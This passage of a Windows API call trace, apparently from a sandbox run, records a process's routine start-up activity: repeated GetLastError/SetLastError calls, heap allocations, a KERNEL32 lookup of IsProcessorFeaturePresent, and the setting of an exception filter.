[0043.221] GetLastError () returned 0x0
[0043.221] SetLastError (dwErrCode=0x0)
[0043.221] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.222] SetLastError (dwErrCode=0x0)
[0043.222] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.223] SetLastError (dwErrCode=0x0)
[0043.223] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.224] GetLastError () returned 0x0
[0043.224] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.225] SetLastError (dwErrCode=0x0)
[0043.225] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.226] GetLastError () returned 0x0
[0043.226] SetLastError (dwErrCode=0x0)
[0043.227] GetLastError () returned 0x0
[0043.227] SetLastError (dwErrCode=0x0)
[0043.227] GetLastError () returned 0x0
[0043.227] SetLastError (dwErrCode=0x0)
[0043.227] GetLastError () returned 0x0
[0043.227] SetLastError (dwErrCode=0x0)
[0043.227] GetLastError () returned 0x0
[0043.227] SetLastError (dwErrCode=0x0)
[0043.227] GetLastError () returned 0x0
[0043.227] SetLastError (dwErrCode=0x0)
[0043.227] GetLastError () returned 0x0
[0043.227] SetLastError (dwErrCode=0x0)
[0043.227] GetLastError () returned 0x0
[0043.227] SetLastError (dwErrCode=0x0)
[0043.227] GetLastError () returned 0x0
[0043.227] SetLastError (dwErrCode=0x0)
[0043.233] GetLastError () returned 0x0
[0043.233] SetLastError (dwErrCode=0x0)
[0043.233] GetLastError () returned 0x0
[0043.233] SetLastError (dwErrCode=0x0)
[0043.233] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.234] SetLastError (dwErrCode=0x0)
[0043.234] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] GetLastError () returned 0x0
[0043.235] SetLastError (dwErrCode=0x0)
[0043.235] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x6b) returned 0x2021748
[0043.235] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.236] GetLastError () returned 0x0
[0043.236] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.237] SetLastError (dwErrCode=0x0)
[0043.237] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.238] GetLastError () returned 0x0
[0043.238] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.239] SetLastError (dwErrCode=0x0)
[0043.239] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.240] SetLastError (dwErrCode=0x0)
[0043.240] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.241] SetLastError (dwErrCode=0x0)
[0043.241] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.242] GetLastError () returned 0x0
[0043.242] SetLastError (dwErrCode=0x0)
[0043.243] GetLastError () returned 0x0
[0043.243] SetLastError (dwErrCode=0x0)
[0043.243] GetLastError () returned 0x0
[0043.243] SetLastError (dwErrCode=0x0)
[0043.243] GetLastError () returned 0x0
[0043.243] SetLastError (dwErrCode=0x0)
[0043.243] GetLastError () returned 0x0
[0043.243] SetLastError (dwErrCode=0x0)
[0043.248] GetLastError () returned 0x0
[0043.248] SetLastError (dwErrCode=0x0)
[0043.248] GetLastError () returned 0x0
[0043.248] SetLastError (dwErrCode=0x0)
[0043.248] GetLastError () returned 0x0
[0043.248] SetLastError (dwErrCode=0x0)
[0043.248] GetLastError () returned 0x0
[0043.248] SetLastError (dwErrCode=0x0)
[0043.248] GetLastError () returned 0x0
[0043.248] SetLastError (dwErrCode=0x0)
[0043.248] GetLastError () returned 0x0
[0043.248] SetLastError (dwErrCode=0x0)
[0043.248] GetLastError () returned 0x0
[0043.248] SetLastError (dwErrCode=0x0)
[0043.248] GetLastError () returned 0x0
[0043.248] SetLastError (dwErrCode=0x0)
[0043.248] GetLastError () returned 0x0
[0043.249] SetLastError (dwErrCode=0x0)
[0043.249] GetLastError () returned 0x0
[0043.249] SetLastError (dwErrCode=0x0)
[0043.249] GetLastError () returned 0x0
[0043.249] SetLastError (dwErrCode=0x0)
[0043.249] GetLastError () returned 0x0
[0043.249] SetLastError (dwErrCode=0x0)
[0043.249] GetLastError () returned 0x0
[0043.249] SetLastError (dwErrCode=0x0)
[0043.249] GetLastError () returned 0x0
[0043.249] SetLastError (dwErrCode=0x0)
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x90) returned 0x20217c0
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1f) returned 0x2021858
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x2e) returned 0x2021880
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x37) returned 0x20218b8
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x3c) returned 0x20218f8
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x31) returned 0x2021940
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x14) returned 0x2021980
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x24) returned 0x20219a0
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xd) returned 0x20219d0
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1d) returned 0x20219e8
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x31) returned 0x2021a10
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x15) returned 0x2021a50
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x17) returned 0x2021a70
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xe) returned 0x2021a90
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xa2) returned 0x2021aa8
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x3e) returned 0x2021b58
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1b) returned 0x2021ba0
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1d) returned 0x2021bc8
[0043.249] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x49) returned 0x2021bf0
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x12) returned 0x2021c48
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x18) returned 0x2021c68
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1b) returned 0x2021c88
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x24) returned 0x2021cb0
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x29) returned 0x2021ce0
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x1e) returned 0x2021d18
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x6b) returned 0x2021d40
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x17) returned 0x2021db8
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0xf) returned 0x2021dd8
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x16) returned 0x2021df0
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x2a) returned 0x2021e10
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x29) returned 0x2021e48
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x12) returned 0x2021e80
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x21) returned 0x2021ea0
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x16) returned 0x2021ed0
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x22) returned 0x2021ef0
[0043.250] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x12) returned 0x2021f20
[0043.254] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020fd0 | out: hHeap=0x2020000) returned 1
[0043.254] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76840000
[0043.254] GetProcAddress (hModule=0x76840000, lpProcName="IsProcessorFeaturePresent") returned 0x76859bf0
[0043.255] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0
[0043.256] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x800) returned 0x2021f40
[0043.256] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x8, Size=0x80) returned 0x2020fd0
[0043.256] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x409729) returned 0x0
[0043.257] RtlSizeHeap (HeapHandle=0x2020000, Flags=0x0, MemoryPointer=0x2020fd0) returned 0x80
[0043.257] GetLastError () returned 0x0
[0043.257] SetLastError (dwErrCode=0x0)
[0043.257] GetLastError () returned 0x0
[0043.257] SetLastError (dwErrCode=0x0)
[0043.257] GetLastError () returned 0x0
[0043.257] SetLastError (dwErrCode=0x0)
[0043.257] GetLastError () returned 0x0
[0043.257] SetLastError (dwErrCode=0x0)
[0043.257] GetLastError () returned 0x0
[0043.257] SetLastError (dwErrCode=0x0)
[0043.257] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.258] GetLastError () returned 0x0
[0043.258] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.259] SetLastError (dwErrCode=0x0)
[0043.259] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.260] GetLastError () returned 0x0
[0043.260] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.261] SetLastError (dwErrCode=0x0)
[0043.261] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.262] SetLastError (dwErrCode=0x0)
[0043.262] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.263] SetLastError (dwErrCode=0x0)
[0043.263] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.264] SetLastError (dwErrCode=0x0)
[0043.264] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetLastError () returned 0x0
[0043.265] SetLastError (dwErrCode=0x0)
[0043.265] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
